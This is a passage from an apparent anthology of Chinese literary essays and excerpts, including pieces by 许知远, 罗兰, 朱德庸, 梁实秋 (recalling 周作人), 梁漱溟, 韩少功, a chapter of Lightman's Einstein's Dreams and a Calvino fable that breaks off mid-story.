　　人杀什么不容易？饲养员嘿地一笑，他轻蔑地瞟了我一眼，继续朝地上冲水，过了一会儿他突然想起什么，对我说，我跟许老师交情很深呐，他帮过我大忙，我也只好答应他，人又不是动物，做人就要讲良心嘛。

　　我说不出什么来，唯一想做的就是立即离开这个动物园。我骑着车一口气骑到了肥皂厂门口，那儿有许多工人在厂门口出出进进的，我的惊悸的心情终于放松了，在那里我打开了被雨淋湿的画夹，那只独眼棕猴最后抬头观雨的神态被我画在了纸上，我想起了我的绘画老师关于神韵的说法，我想猴子的神韵在于它的泪水，大概就是它的泪水吧。

　　我曾经偷偷地跑到生物教师的标本室外面看望那只棕猴，说起来我大可不必这样掩人耳目，只要你对动物具有一定的兴趣，生物教师总是乐于为你打开标本室的门。但我似乎害怕与那只棕猴直面相对，最终还是选择了一个安静的午后爬到了那间小屋的窗台上。

　　我看见一只棕猴盘腿坐在一张课桌上，让我惊讶的是它现在不仅洁净而安详，作为某种特征的残眼竟然金蝉脱壳，受成了一只明亮的无可挑剔的眼睛，那只我所熟悉的独眼棕猴，现在它有了一双完美的眼睛！不知道生物教师是怎么做出猴子的眼睛的，我只能感叹他对猴子的爱比任何人深厚一百倍，那样的爱往往是能创造奇迹的。

　　说到我所热爱的绘画，我的绘画注定是不成器的。我的老师是个著的专画动物的大师，他总是要求学生去捕捉动物的神韵，但我认为动物们的神韵在于它的泪水，我努力了多年，还是画不出那种泪水，最后干脆就不去画了。那个位于工业区的灰场动物园，后来我再也没去过，去也无妨，我猜那大概是世上最荒凉的动物园了。

文学青年

许知远

　　这好像是 80 年代的故事，那时候最流行的求爱方式是，路上拦住一个姑娘说：“你喜欢文学吗？”你要装得一脸惆怅，似乎充满了对祖国前途的忧虑，还有对整个人类精神世界的关怀。然后你特别深沉地和她谈起那些文学，谈那些文学大师的追求。这时候的姑娘肯定会被你的滔滔不绝的天才迷惑，满眼都是虔诚的钦佩，然后特别心甘情愿地跟你走。那时候文学青年是个抢手的称号，对于异性具有特别的诱惑力。这些东西现在看起来像传说或者像出滑稽剧。

　　自从王朔出道以来，文学什么时候开始沦为贬义词了，好像张口谈文学的人都是些大尾巴狼。我记得一天晚上散步遇见一对，他们好像刚刚认识，男子还处于求爱阶段，于是我就听到了一句特别具有戏剧效果的话：“我喜欢文学。”这句话在闹哄哄的大街上如此地动人心弦，我差点儿就被感动了。这时候，他们身边路过一个骑车的哥们，他在那个娇羞的女子尚未反应之前，大声说：“我也喜欢文学。”然后匆忙地骑车过去，留下一片放肆的笑声。这时候那种纯情的场面一下子就被糟蹋了，一下子就打破了文学在心目中的崇高形象……

　　我有时候也犯这种傻，我跟一个新认识的姑娘在谈米兰 · 昆德拉的时候，她就向她周围的人介绍我是一个文学青年。你可以想像那些家伙的表情吗，“文学青年，文学青年”，他们不断的摇头，就像阿 Q 说的“女人，妈妈的，女人”。而且我发都无法逃脱掉年龄的束缚，因为无穷的欲望本身就是青年的特权。只是，我们的哲学、我们的生命意义都是由那些年长的人来制定的，而他们已经太多地丧失了生理上的欲望。现大家都特别喜欢用这个词来嘲笑人，要是骂一个人傻，比如看到我，他们准会说：“呦，文学青年又来了。”

　　我从此就接受了这个教训，再见姑娘的时候就大谈时尚问题，闭口不说任何和文学有关的话题，即使提到也是装出一脸特不屑的样子，然后把那些东西嘲讽一番。这种方法真的很有效，因为姑娘们都露出了亲切的目光。但是当我一个人的时候，还是喜欢读一读文学，还是喜欢让自己被那些大师们熏陶一下，而且我猛地发现那些满脸特别不在乎文学的人也和我一样，而且读书读得越多的人越装得庸俗，越喜欢嘲笑文学青年。我差不多明白他们的意思了，文学是自己体会的，不用老是拿出来炫耀，而且越是那些半瓶子醋越喜欢拿出来晃荡。所以，我也开始喜欢拿文学青年骂人了。

　　摘自《那些忧伤的年轻人》

早起看人间

罗兰

　　如果你觉得现代生活太浮华，商业社会的人太不诚实，都市生活太烦嚣，空气太污浊，生活太需要钱了，我劝你看看 7 点钟以前的台北市。最好是从 5 点多钟就开始看。

　　早起的人们真多，他们都是起来做运动的。有人穿着简便的运动装，有人穿着普通的家常服，有快步走的，有漫步跑的，有跳上风舞的，有打太极拳的，也有打羽毛球和做柔软体操的。男人们轻轻便便，女人们不施脂粉，大家都一律是本来面目，没有考究的发型、名牌的化妆品、来路货的时装和昂贵的珠宝；没有人希望自己在穿戴打扮上与众不同，人间忽然显出了可喜的朴实与诚恳。亿万富翁和薪水阶级一样的是一袭便装，不带任何“零件”，大家同样地勇于生活，健康进取。说明了大家对人生目标的正确——不再觉得金钱、外表与物质享用是最重要的了。健康和脚踏实地的生活才最重要。

　　这一个转变，是社会最可喜的进步。“过去有段时间，柔靡的风气，奢侈的习惯，吃喝享乐的时尚，向拥有多少种名贵香水、多少件巴黎时装的女歌星看齐的心态，正在逐步地消失。大家忽然明白，钱的用途和身价是有限度的了。


　　有多少钱才算多呢？

　　拥有亿万财产的人，真的“拥有”了“几亿”吗？还是为实际了几亿的债务而寝食不安呢？

　　钱的追求带给人类的是收获的快乐，还是患得患失而导致的高血压与脑中风呢？

　　当你不健康的时候，钱有什么用呢？

　　当一个社会没有更进一步的理想，而只有许多钱的时候，又如何避免仅止于是个“暴发户”呢？

　　金钱与物欲是个无底洞，越追越无止境，终于掉入深渊，唯有知道在金钱之外，建立清朗单纯而健康的生活，才能享受到金钱之福，而不致使自己变成金钱之奴。

　　早上 7 点以前的台北市，是个朴实无华的地方。宽阔的林荫道，都是朴实无华的人。

　　大家以真面目相见，不会觉得某人比某人“高级。”

　　这一番人生态度的改变，是整个社会的福音。把阴柔换上了阳刚，国民有了齐步堂堂的朝气，恢复了中华民族数千年来传统的美德，——崇实务本，不尚浮华。

　　传统的中国人是看不起浮华的，他们宁做“老旧家”，不做“暴发户”，传统的中国有钱人，越是有钱，越是朴素，这样才会受人尊重。

　　“乍穿花鞋高抬脚”，是当年的一句俏皮话，形容暴发户的浅薄相。“炫耀”正是由于见识浅薄所致。当一个人久已“穿惯了花鞋”，自然就不再觉得有双花鞋是什么了不起的事，而不屑去炫耀了。

　　有了财富之后，第二步是培养深度。

　　有了深度的人们，自然就会朴实。

　　朴实对富有的人们来说，是教育程度所造成。

　　相形之下，你自然明白，为什么身上挂的珠宝越多的人，程度越浅。

　　相形之下，你也自然明白，为什么总是那些程度浅的人会无缘无故地去美容和整形。

在一个时代里缓慢行走

朱德庸

　　我们周围所有的东西都在增值，只有我们的人生悄悄贬值。世界一直往前奔跑，而我们大家紧追在后。可不可以停下来喘口气，选择“自己”，而不是选择“大家”？

　　我喜欢走路。

　　我的工作室在十二楼，刚好面对台北很漂亮的那条敦化南路，笔直宽阔的绿荫道绵延了几公里。人车寂静的平常夜晚或周六周日，我常常和妻子沿着林荫道慢慢散步到路的尽头，再坐下来喝杯咖啡，谈谈世界又发生了哪些特别的事。

　　这样的散步习惯有十几年了，陪伴我们一年四季不断走着的是一直在长大的儿子，还有那些树。

　　一开始是整段路的台湾栾树，春夏树顶开着苔绿小花，初秋树梢转成赭红，等冬末就会突然落叶满地、只剩无数黑色枝桠指向天空。接下来是高大美丽的樟树群，整年浓绿。再经过几排叶片棕黄、像挂满一串串闪烁的心的菩提树，后面就是紧挨着几幢玻璃帷幕大楼的垂须榕树了。

　　这么多年了，亚热带的阳光总是透过我们熟悉的这些树的叶片轻轻洒在我们身上，我也总是讶异地看到，这几个不同的树种在同样一种气候下，会展现出截然相反的季节面貌：有些树反复开花、结子、抽芽、凋萎，有些树春夏秋冬，常绿不改。不同的植物生长在同一种气候里，都会顺着天性有这么多自然发展；那么，不同的人们生长在同一个时代里，不是更应该顺着个性有更多自我面貌？

　　我看到的这个世界却不是如此。

　　我们这个时代的人，情绪变得很多，感觉变得很少：心思变得很复杂，行为变得很单一；脑的容量变得越来越大，使用区域变得越来越小。更严重的是，我们这个世界所有的城市面貌变得越来越相似，所有人的生活方式也变得越来越雷同了。

　　就像不同的植物为了适应同一种气候，强迫自己长成同一个样子那么荒谬；我们为了适应同一种时代氛围，强迫自己失去了自己。

　　如果，大家都有问题，问题出在哪里呢？

　　我想从我自己说起。

　　小时候我觉得，每个人都没问题，只有我有问题。长大后我发现，其实每个人都有问题。当然，我的问题依然存在，只是随着年龄增加又有了新的问题。小时候的自闭给了我不愉快的童年，在团体中我总是那个被排挤孤立的人；长大后，自闭反而让我和别人保持距离，成为一个漫画家和一个人性的旁观者，能更清楚地看到别人的问题和自己的问题。“问题”那么多，似乎有点儿令人沮丧。但我必须承认，我就是在小时候和长大后的问题中度过目前为止的人生。而且世界就是如此，每个人都会在各种问题中度过他的一生，直到离开这个世界，问题才真正没问题。

　　小时候的问题，往往随着你的天赋而来。然而，上天对你关了一扇门，一定会为你开另一扇窗；我认为这正是自然界长久以来的生存法则。就像《侏罗纪公园》里的一句经典台词：“生命会找到他自己的出路。”童年的自闭让我只能待在图像世界里，用画笔和外界单向沟通，却也让我能坚持走出一条自己的路。

　　长大后的问题，对人才真正严重。因为那是后天造成的，它原本就不是你体内的一部分，不会为你开启任何一扇窗或一道门。而我觉得，现代人最需要学会处理的，就是长大后的各种心理和情绪问题。

　　我们碰上的，刚好是一个物质最丰硕而精神最贫瘠的时代，每个人长大以后，肩膀上都背负着庞大的未来，都在为一种不可预见的“幸福”拼斗着。但所谓的幸福，却早已被商业稀释而单一化了。市场的不断扩张、商品的不停量产，其实都是违反人性的原有节奏和简单需求的，激发的不是我们更美好的未来，而是更贪婪的欲望。长期的违反人性，大家就会生病。当我们“进步”太快的时候，只是让少数人得到财富，让多数人得到心理疾病罢了。

　　是的，这是一个只有人教导我们如何成功，却没有人教导我们如何保有自我的世界。我们这个时代，对我们大家开了一场巨大的心灵玩笑：我们周围所有的东西都在增值，只有我们的人生悄悄贬值。世界一直往前奔跑，而我们大家紧追在后。可不可以停下来喘口气，选择“自己”，而不是选择“大家”？也许这样才能不再为了追求速度，却丧失了我们的生活，还有生长的本质。

　　前年底，我得了一个“新世纪 10 年阅读最受读者关注十大作家”的奖项，请友人代领时念了一段得奖感言：“这是一个每个人都在跑的时代，但是我坚持用自己的步调慢慢走，因为我觉得大家其实都太快了——就是因为我还在慢慢走，所以今天来不及到这里领奖。”这本《大家都有病》从 2000 年开始慢慢构思，到 2005 年开始慢慢动笔，前后经过了十年。这十年里，我看到亚洲国家的人们，先被贫穷毁坏一次，然后再被富裕毁坏另一次。我把这本书献给我的读者，并且邀请你和我一起，用你自己的方式，在这个时代里慢慢向前走。

爱因斯坦的梦

阿兰 · 莱特曼

　　一九〇五年五月二十日

　　只要沿着斯比达巷栉比鳞次的摊位注目一瞥，就不难讲出一个故事来了。逛街买东西的人迟疑地从一个摊子走到下一个摊子，看看每个店铺都在卖些什么。这里是烟草，那么芥子在哪里呢？此处是甜菜，那么鳕鱼在何处呢？这是羊奶，那么虎耳草呢？这些熙来攘往的人群并不是初来乍到伯尔尼城的外地旅客，而是不折不扣的伯尔尼市民。没有人记得他两天以前才在十七号一个叫费迪南德的店铺里买过巧克力糖，还是在三十六号霍夫小菜馆买过牛肉。每家店铺究竟是卖什么的，人人都得现找。许多人拿着地图走路，指挥其他拿着地图的人，在他们住了一辈子的城市里，在他们走了数十年的街道上，却一个拱门挨一个拱门地往下找他们要去的地方。许多人拿着记事本走路，他们要在所问到的消息暂时停留在脑子里的时候，把刚打听到的记在本子里。因为在这个世界里，人们没有记忆。

　　在每天工作完了该回家的时候，人人都得查查地址簿看他们自己究竟住在哪里。宰了一天牛羊，切了一堆难看的肉块的屠夫恍然发现他的家在纳格利巷二十九号。对市场情况只有短暂记忆、却做了几桩成功的投资的股票经纪，看了他的小本子，才知道他现在住在国会巷八十九号。到了家来，每一男人发现有一女人和孩子在门口等着，他自我介绍一番，帮女人做晚饭，念故事书给孩子们听。同样地，每一女人下班回家以后，再与丈夫、孩子、沙发、台灯、壁纸、瓷器上的图案等等重新相会。夜深了，夫与妻不会在餐桌上流连片刻，讨论日间的活动，还是孩子的学业，或是银行账户的问题。他们会彼此对视着微笑起来，忽地感到血脉喷张，身体滚烫，而腿间胀痛，与十五年前初次邂逅时毫无二致。他们找到了卧室，匆忙间几乎推倒了他们自己也不认识的家庭照片，在欲火翻腾中度过了长夜。因为只有习惯和记忆会使生理的激情缓和下来。没有记忆，每一黑夜都是初夜，每一清晨都是初晨，每一亲吻都是初次的亲吻，而每一触摸都是初次的触摸。

　　没有记忆的世界是只有现在的世界。过去只存在于书籍里与档案中。为了认识自己，人人带着他自己的生命簿，其中记载了他生命的历史。每天读数页，使他再度知道了自己的父母是谁；他的出身是高贵，还是低贱；他在学校的功课是好，还是不好；他的生命当中是否成就过任何事。没有生命簿，一个人只是一张照片、一个两度空间的画面、一个鬼魂。在邦恩巷方场树叶浓密的咖啡馆里，你会听到一男子痛苦的尖叫，他刚从生命簿中读到他曾经杀过一个人；你会听到一女人沉重的叹息，她刚发现一王子曾向她求过爱；你会听到另一女人忽然吹起牛来，因为她才知道十年前她还在大学念书的时候，曾经得到过最高的荣誉。有些人以在桌边读自己的生命簿度过黄昏，其他的人则狂乱地以每日起居琐细田满簿中剩余的册页。

　　随着光阴逝去，人人的生命簿都继长增高，厚到没法读完全本的程度，这时就得作选择了。进入老年的男女，或读前面几页，以认清自己的少年辰光；或读后面几页，以辨识自己的暮年岁月。

　　有些人则完全不读自己的生命簿了。他们已把过去抛到了九霄云外。昨日种种：不论是富，是穷；是饱学，是白丁；是傲岸，还是谦冲；是一直空虚，还是曾经爱过；与他们的生命没有什么相干──不会比和风穿过了发间的感觉更具意义。他们决定不予计较了。这样的人看着你时，是直直地盯着你的眼；抓着你时，是紧紧地握住你的手。这样的人走在路上，总是以其青春年少时轻快的步伐前行。这样的人已经学会怎样在没有记忆的世界里过没有记忆的日子。

　　节选《爱因斯坦的梦》中第十四个梦

忆周作人先生

梁实秋

　　周作人先生住北平西城八道湾，看这个地名就可以知道那是怎样的一个弯弯曲曲的小胡同。但是在这个陋巷里却住着一位高雅的与世无争的读书人。

　　我在清华读书的时候，代表清华文学社会见他，邀他到清华演讲。那个时代，一个年轻学生可以不经介绍径自拜访一位学者，并且邀他演讲，而且毫无报酬，好像不算是失礼的事。如今手续似乎更简便了，往往是一通电话便可以邀请一位素未谋面的人去讲演什么的。我当年就是这样冒冒失失的慕名拜访。转弯抹角的找到了周先生的寓所，是一所坐北朝南的两进的平房，正值雨后，前院积了一大汪子水，我被引进去，沿着南房檐下的石阶走进南屋。地上铺着凉席。屋里已有两人在谈话，一位是留了一撮小胡子的鲁迅先生，另一位年轻人是写小诗的何植三先生。鲁迅先生和我招呼之后就说：“你是找我弟弟的，请里院坐吧。”

　　里院正房三间，两间是藏书用的，大概有十个八个木书架，都摆满了书，有竖立的西书，有平放的中文书，光线相当暗。左手一间是书房，很爽亮，有一张大书桌，桌上文房四宝陈列整齐，竟不像是一个人勤于写作的所在。靠墙一几两椅，算是待客的地方。上面原来挂着一个小小的横匾，“苦雨斋”三个字是沈尹默写的。斋名苦雨，显然和前院的积水有关，也许还有屋瓦漏水的情事。总之是十分恼人的事，可见主人的一种无奈的心情。（后来他改斋名为“苦茶庵”了。）俄而主人移步入，但见他一袭长衫，意态悠然，背微佝，目下视，面色灰白，短短的髭须满面，语声低沉到令人难以辨听的程度。一仆人送来两盏茶，日本式的小盖碗，七分满的淡淡清茶。我道明来意，他用最简单的一句话接受了我们的邀请。于是我不必等端茶送客就告辞而退，他送我一直到大门口。

　　从北平城里到清华，路相当远，人力车要一个多小时，但是他准时来了，高等科礼堂有两三百人听他演讲。讲题是《日本的小诗》。他特别提出所谓俳句，那是日本的一种诗体，以十七个字为一首，一首分为三段，首五字，次七字，再五字，这是正格，也有不守十七字之限者。这种短诗比我们的五言绝句还要短。由于周先生语声过低，乡音太重，听众不易了解，讲演不算成功。幸而他有讲稿，随即发表。他所举的例句都非常有趣，我至今还记得的是一首松尾芭蕉的作品，好像是“听呀，青蛙跃入古潭的声音！”这样的一句，细味之颇有禅意。此种短诗对于试写新诗的人颇有影响，就和泰戈尔的散文诗一样，容易成为模拟的对象。

　　民国二十三年我到了北京大学，和周先生有同事三年之雅。在此期间我们来往不多，一来彼此都忙，我住东城他住西城相隔甚远，不过我也在苦雨斋作过好几次的座上客。我很敬重他，也很爱他的淡雅的风度。我当时主编一个周刊《自由评论》，他给过我几篇文稿，我很感谢他。他曾托我介绍把他的一些存书卖给学校图书馆。我照办了。他也曾要我照拂他的儿子周丰一（在北大外文系日文组四年级），我当然也义不容辞，我在这里发表他的几封短札，文字简练，自有其独特的风格。

　　周先生晚节不终，宦事敌伪，以至于身系缧绁，名声扫地，是一件极为可惜的事。不过他所以出此下策，也有其远因近因可察。他有一封信给我，是在抗战前夕写的：

　　实秋先生：手书敬悉。近来大有闲，却也不知怎的又甚忙，所以至今未能写出文章，甚歉。看看这“非常时”的四周空气，深感到无话可说，因为这（我的话或文章）是如此的不合宜的。日前曾想写一篇关于《求己录》的小文，但假如写出来了，恐怕看了赞成的只有一个——《求己录》的著者陶葆廉吧？等写出来可以用的文章时，即当送奉，匆匆不尽。作人启七日夜。

　　关于《求己录》的文章虽然他没有写，我们却可想见他对《求己录》的推崇，按，《求己录》一册一函，光绪二十六年杭州求是书院刊本，署芦泾循士著，乃秀水陶葆廉之别号。陶葆廉是两广总督陶模（子方）之子，久佐父幕，与陈三立、谭嗣同、沈雁潭合称四公子。作人先生引陶葆廉为知己，同属于不合时宜之列。他也曾写信给我提到“和日和共的狂妄主张”。是他对于抗日战争早就有了他自己的一套看法。他平素对于时局，和他哥哥鲁迅一样，一向抱有不满的态度。

　　作人先生有一位日籍妻子。我到苦茶庵去过几次没有拜见过她，只是隔着窗子看见过一位披着和服的妇人走过，不知是不是她。一个人的妻子，如果她能勤俭持家相夫教子而且是一个“温而正”的女人，她的丈夫一定要受到她的影响，一定爱她，一定爱屋及乌的爱与她有关的一切。周先生早年负笈东瀛，娶日女为妻，对于日本的许多方面有好的印象是可以理解的。我记得他写过一篇文章赞美日本式的那种纸壁地板蹲坑的厕所，真是匪夷所思。他有许多要好的日本朋友，更是意料中事，犹之鲁迅先生之与上海虹口的内山书店老板过从甚密。

　　抗战开始，周先生舍不得离开北平，也许是他自恃日人不会为难他。以我所知，他不是一个热中仕进的人，也异于鲁迅之偏激孤愤。不过他表面上淡泊，内心里却是冷峭。他这种心情和他的身世有关。一九八二年九月二十日《联合报》万象版登了一篇《高阳谈鲁迅心头的烙痕》：鲁迅早期的著作，如《呐喊》等，大多在描写他的那场“家难”；其中主角是他的祖父周福清，同治十年三甲第十五名进士，外放江西金溪知县。光绪四年因案被议，降级改为“教谕”。周福清不愿做清苦的教官，改捐了一个“内阁中书”，做了十几年的京官。

　　光绪十九年春天，周福清丁忧回绍兴原籍。这年因为下一年慈禧太后六旬万寿，举行癸巳恩科乡试：周福清受人之托，向浙江主考贿买关节，连他的儿子也就是鲁迅的父亲周用吉在内，一共是六个人，关节用“宸衷茂育”字样；另外“虚写银票洋银一万元”，一起封入信封。投信的对象原是副主考周锡恩，哪知他的仆人在苏州误投到正主考殷如璋的船上。殷如璋不知究竟，拆开一看，方知贿买关节。那时苏州府知府王仁堪在座，而殷如璋与周福清又是同年，为了避嫌疑起见，明知必是误投，亦不能不扣留来人，送官究办。周福清就这样吃上了官司。

　　科场舞弊，是件严重的事。但从地方到京城，都因为明年是太后六十万寿，不愿兴大狱，刑部多方开脱，将周福清从斩罪上量减一等，改为充军新疆。历久相沿的制度是，刑部拟罪得重，由御笔改轻，表示“恩出自上”；但这一回令人大出意外，御着批示：“周福清着改为斩监候，秋后处决。”

　　这一来，周家可就惨了。第二年太后万寿停刑，固可多活一年；但自光绪二十一年起，每年都要设法活动，将周福清的姓名列在“勾决”名册中“情实”一栏之外，才能免死。这笔花费是相当可观的；此外，周福清以“死囚”关在浙江臬司监狱中，如果希望获得较好的待遇，必须上下“打点”，非大把银子不可。周用吉的健康状况很差，不堪这样沉重的负担，很快的就去世了。鲁迅兄弟被寄养在亲戚家，每天在白眼中讨生活：十几岁的少年，由此而形成的人格，不是鲁迅的偏激负气，就是周作人的冷漠孤傲，是件不难想像的事。

　　鲁迅心头烙痕也正是周作人先生的心头烙痕，再加上抗战开始后北平爱国志士那一次的枪击，作人先生无法按捺他的激愤，遂失足成千古恨了。在后来国军撤离南京的前夕，蒋梦麟先生等还到监牢去探视过他，可见他虽然是罪有应得，但是他的老朋友们还是对他有相当的眷念。

　　一九七一年五月九日《中国时报》副刊有南宫搏先生一文《于〈知堂回想录〉而回想》，有这样的一段：

　　我曾写过一篇题为《先生，学生不伪！》不留余地指斥学界名人傅斯年。当时自重庆到沦陷区的接收大员，趾高气扬的不乏人，傅斯年即为其中之一。我们总以为学界的人应该和一般官吏有所不同，不料以清流自命的傅斯年在北平接收时，也有那一副可憎的面目，连“伪学生”也说得出口！——他说“伪教授”其实也可恕了。要知政府兵败，弃土地人民而退，要每一个人都亡命到后方去，那是不可能的。在敌伪统治下，为谋生而作一些事，更不能皆以汉奸目之，“饿死事小，失节事大”，说说容易，真正做起来，却并不是叫口号之易也。何况，平常做做小事而谋生，遽加汉奸帽子，在情在理，都是不合的。

　　南宫搏先生的话自有他的一面的道理，不过周作人先生无论如何不是“做做小事而谋生”，所以我们对于他的晚节不终只有惋惜，无法辩解。

三种人生态度

梁漱溟

　　“人生态度”是指人日常生活的倾向而言，向深里讲，即入了哲学范围；向粗浅里说，也不难明白。依中国分法，将人生态度分为“出世”与“入世”两种，但我嫌其笼统，不如三分法较为详尽适中。我们仔细分析：人生态度之深浅、曲折、偏正……各式各种都有，而各时代、各民族、各社会，亦皆有其各种不同之精神，故欲求不笼统，而究难免于笼统。我们现在所用之三分法，亦不过是比较适中的办法而已。

　　按三分法，第一种人生态度，可用“逐求”二字以表示之。此意即谓人于现实生活中逐求不已，如：饮食、宴安、名誉、声、色、货、利等，一面受趣味引诱，一面受问题刺激，颠倒迷离于苦乐中，与其他生物亦无所异；此第一种人生态度（逐求），能够彻底做到家，发挥至最高点者，即为近代之西洋人。他们纯为向外用力，两眼直向前看，逐求于物质享受，其征服自然之威力实甚伟大，最值得令人拍掌称赞。他们并且能将此第一种人生态度理智化，使之成为一套理论——哲学。其可为代表者，是美国杜威之实验主义，他很能细密地寻求出学理的基础来。

　　第二种人生态度为“厌离”的人生态度。第一种人生态度为人对于物的问题，第三种人生态度为人对于人的问题，此则为人对于自己本身的问题。人与其他动物不同，其他动物全走本能道路，而人则走理智道路，其理智作用特别发达。其最特殊之点，即在回转头来反看自己，此为一切生物之所不及于人者。当人转回头来冷静地观察其生活时，即感觉得人生太苦，一方面自己为饮食男女及一切欲望所纠缠，不能不有许多痛苦；而在另一方面，社会上又充满了无限的偏私、嫉忌、仇怨、计较，以及生离死别种种现象，更足使人感觉得人生太无意思。如是，乃产生一种厌离人世的人生态度，此态度为人人所同有。世俗之愚夫愚妇皆有此想，因愚夫愚妇亦能回头想，回头想时，便欲厌离。但此种人生态度虽为人人所同具，而所分别者即在程度上深浅之差，只看彻底不彻底，到家不到家而已。此种厌离的人生态度，为许多宗教之所由生。最能发挥到家者，厥为印度人。印度人最奇怪，其整个生活，完全为宗教生活。他们最彻底，最完全；其中最通透者为佛家。

　　第三种人生态度，可以用“郑重”二字以表示之。郑重态度，又可分为两层来说：其一，为不反观自己时——向外用力；其二，为回头看自家时——向内用力。在未曾回头看而自然有的郑重态度，即儿童之天真烂漫的生活。儿童对其生活，有天然之郑重，与天然之不忽略，故谓之天真。真者真切，天者天然，即顺从其生命之自然流行也。于此处我特别提出儿童来说者，因我在此所用之“郑重”一词似太严重。其实并不严重。我之所谓“郑重”，实即自觉地听其生命之自然流行，求其自然合理耳。“郑重”即是将全副精神照顾当下，如儿童之能将其生活放在当下，无前无后，一心一意，绝不知道回头反看，一味听从于生命之自然的发挥，几与向前逐求差不多少，但确有分别。此系言浅一层。

　　更深而言之，从反回头来看生活而郑重生活，这才是真正的发挥郑重。这条路发挥得最到家的，即为中国之儒家。此种人生态度亦甚简单，主要意义即是教人“自觉的尽力量去生活”。此话虽平常，但一切儒家之道理尽包含在内，如后来儒家之“寡欲”、“节欲”、“窒欲”等说，都是要人清楚地自觉地尽力于当下的生活。儒家最反对仰赖于外力之催逼与外边趣味之引诱往前度生活。引诱向前生活，为被动的、逐求的，而非为自觉自主的。儒家之所以排斥欲望，即以欲望为逐求的、非自觉的，不是尽力量去生活。此话可以包含一切道理，如“正心诚意”、“慎独”、“仁义”、“忠恕”等，都是以自己自觉的力量去生活。再如普通所谓“仁至义尽”、“心情俱到”等，亦皆此意。

　　此三种人生态度，每种态度皆有浅深。浅的厌离不能与深的逐求相比。逐求是世俗的路，郑重是道德的路，而厌离则为宗教的路。将此三者排列而为比较，当以逐求态度为较浅，以郑重与厌离二种态度相较，则郑重较难，从逐求态度进步转变到郑重态度自然也可能，但我觉得很不容易。普通都是由逐求态度折到厌离态度，从厌离态度再转入郑重态度，宋明之理学家大多如此，所谓出入儒释，都是经过厌离生活，然后重又归来尽力于当下之生活。即以我言，亦恰如此。在我十几岁时，极接近于实利主义，后转入于佛家，最后方归于儒家。厌离之情殊为深刻，由是转过来才能尽力于生活；否则便会落于逐求，落于假的尽力。故非心里极干净，无纤毫贪求之念，不能尽力生活。而真的尽力生活，又每在经过厌离之后。

发民主财

韩少功

　　有一天，我同一位朋友到唐人街吃饭。饭后付款，餐馆女老板面带愧色，合掌鞠躬，连声说对不起对不起，今天收了你们的钱。我有些奇怪。吃饭埋单，天经地义，她何出此言？

　　朋友出门后告诉我：这位女老板是被国内来的一些民主派吃怕了。那些人领了法国政府的生活费，但今天在这个餐馆开民主讨论会，明天在那个餐馆开民主研究会，统统吃饭不给钱，好像是从浴血奋战的前线归来——老子吃你几餐鸟饭还要给钱？

　　原来如此。这使我想起自己当年在某林业局挂职副局长，常跟着书记或局长到下面去开会，白吃白喝不算，饭后每人还白拿一条烟。你如果想洁身自好又不得罪同行，不拿烟可以，但千万别拒绝，最好是含含糊糊去上厕所，等他们把烟塞进皮包后才返回来装聋作哑。老百姓把这种会叫作“现场（尝）会”、“常（尝）委会”。有意思的是，执政党中有人热衷此道，反对派中也有人“会”术高超，只是把会名稍改，开到外国的唐人街来了。

　　我这位朋友旅法多年，也算是一个民主派，每每对许多同志的表现痛心疾首。他又说起一件事。前不久闹了一场“民主广播船”的风波。其实，台湾当局早就通过很多渠道，表示不容许这条船去台湾近海对大陆广播，不愿意因此添麻烦。旅法的很多中国人都知道这一点，但一直瞒着洋人们，仍然到处慷慨激昂，准备勇敢献身，一种壮士一去不复返的模样，骗得洋人们纷纷掏钱赞助。结果，少数人把洋钱赚足了，但隆重的启船誓师大会上，只有傻乎乎的外国各界要员前来致辞欢送，只有一些受雇的洋水手登船出发，但汽笛一拉响，船上清一色的洋面孔，连一个中国猛士也没有。

　　船至非洲某港口，有一位台湾记者登船采访，算是船上唯一的中国种。

　　这条二手船踉娘跄跄，一路上又是轮机有毛病，又是冰箱不制冷，走得十分艰难。好容易到了中国海域，船上人才知台湾方面早有禁令，不免大呼上当。回头看去，当时慷慨激昂的中国人裹胁赞助款，早已无影无踪。

　　“唉，”我这位朋友叹气，“外国人幼稚得像中学生，哪是中国人的对手？”

　　在他看来，很多外国人确实显得幼稚、简单、书生气、一根筋，即使叛逆得吸大麻或裸体上街，仍不失欧洲人文传统的种性，比方说他们经常会认真地对待宣言口号。其实，时代渐人世纪末严冬，信念越来越多地成为利欲的面具。在好些人那里，钱就像数学中的零：零乘以任何数都等于零，那么钱乘以任何宣言口号都等于钱——这是隐藏在一切政治演算之后的基本公式。故专制能发财，民主亦能发财。不懂得这一点的人，实在没有资格来谈论宣言口号，尤其没有资格与某些中国政客打交道。

　　我们多少懂得这一点，但这种国产世故是值得我们深感荣耀还是深感耻辱？

　　我与朋友坐在卢森堡公园里，不知道该干点什么好。落叶飘零，石头椅子很冷，很冷。巴黎正一寸寸融入金色的夕阳。

快乐人的衬衫

伊塔洛 · 卡尔维诺

　　一个国王有一个独生子，国王很疼爱他，视若掌上明珠。可这个王子总是郁郁寡欢的，整天整天地站在阳台上，看着远处。

　　"你还缺什么吗？"国王问他，"你到底怎么了？"

　　"我也说不清，爸爸，我自己也不清楚。"

　　"你恋爱了？如果你想要哪个姑娘，告诉我，我会安排你们结婚的，不论是世界上最强大的国王的女儿，还是最穷困的农家女子，我都可以给你解决！"

　　"不是，爸爸，我没爱上什么人。"

　　国王想方设法为儿子开心解闷。戏剧、舞会、音乐、歌曲；但毫无效果，而且王子脸上的红润一天一天消退。

　　国王只好发出命令，从世界各地来了许多最有学问的人：哲学家、博士、教授。他让大家见了王子，然后征求大家的意见。这些人退出去想了想后，又来见国王，说："陛下，我们想过了，并研究了星象，必须这样做：找到一个非常快乐的人，这个人，从无烦恼，也无奢望，然后把他的衬衫跟王子的交换一下就行了。"

　　当天，国王就派出使者到世界各地寻找这个快乐人。

　　一个神父被带了回来，国王问他："你快乐吗？"

　　"很快乐，陛下。"

　　"那好。你愿意成为我的主教吗？"

　　"那可太好了，陛下！"

　　"出去！快滚出去！我找的是一个安于本分的幸福的人，而不是一个不满于现状的人。"

　　国王又开始等待下一个快乐的人。他听说邻国有一个国王，那真是又幸福又快乐。他有一个善良美丽的妻子，子女成群，曾在战争中打败了所有的敌人，现在国泰民安。满怀希望的国王当即派出使者去向他求讨衬衫。

　　邻国国王接待了使者，说："对，对，我什么东西也不缺，可悲的是一个人拥有了一切，却还得离开这个世界，抛弃这一切！每次这样一想，我就深感痛苦，夜不能寐！"使者一听，觉得还是回去吧。

